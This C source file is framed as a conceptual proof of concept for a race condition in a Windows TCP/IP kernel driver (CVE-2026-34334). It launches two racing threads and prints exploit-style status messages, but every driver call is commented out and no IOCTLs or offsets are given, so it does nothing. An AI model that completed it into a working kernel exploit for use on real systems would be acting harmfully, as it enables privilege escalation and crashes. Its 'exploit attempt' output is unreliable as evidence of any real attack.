#include <windows.h>
#include <stdio.h>
// Conceptual Proof of Concept for Race Condition Vulnerability
// This code demonstrates the logic of exploiting a race condition in a kernel driver.
// Note: Actual exploitation requires specific IOCTLs and memory offsets.
HANDLE hDevice;
BOOL triggerVuln = FALSE;
DWORD WINAPI RaceThread(LPVOID lpParam) {
// Thread 1: Tries to check the resource state
while (!triggerVuln) {
// Simulate checking a shared resource in the driver
// DeviceIoControl(hDevice, IOCTL_CHECK_RESOURCE, ...);
Sleep(1); // Adjust timing to widen the race window
}
return 0;
}
DWORD WINAPI ExploitThread(LPVOID lpParam) {
// Thread 2: Tries to modify the resource state concurrently
while (!triggerVuln) {
// Simulate modifying the shared resource to cause inconsistency
// DeviceIoControl(hDevice, IOCTL_MODIFY_RESOURCE, ...);
}
return 0;
}
int main() {
printf("[*] Starting PoC for CVE-2026-34334...\n");
// In a real scenario, obtain a handle to the vulnerable TCP/IP driver
// hDevice = CreateFile(L"\\\\.\\TcpIpDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hThreads[2];
// Create threads to race against each other
hThreads[0] = CreateThread(NULL, 0, RaceThread, NULL, 0, NULL);
hThreads[1] = CreateThread(NULL, 0, ExploitThread, NULL, 0, NULL);
printf("[*] Threads running, attempting to trigger race condition...\n");
// Wait for a specific time or condition to trigger the exploit logic
Sleep(5000);
triggerVuln = TRUE;
WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);
printf("[*] Exploit attempt finished.\n");
CloseHandle(hThreads[0]);
CloseHandle(hThreads[1]);
// CloseHandle(hDevice);
return 0;
}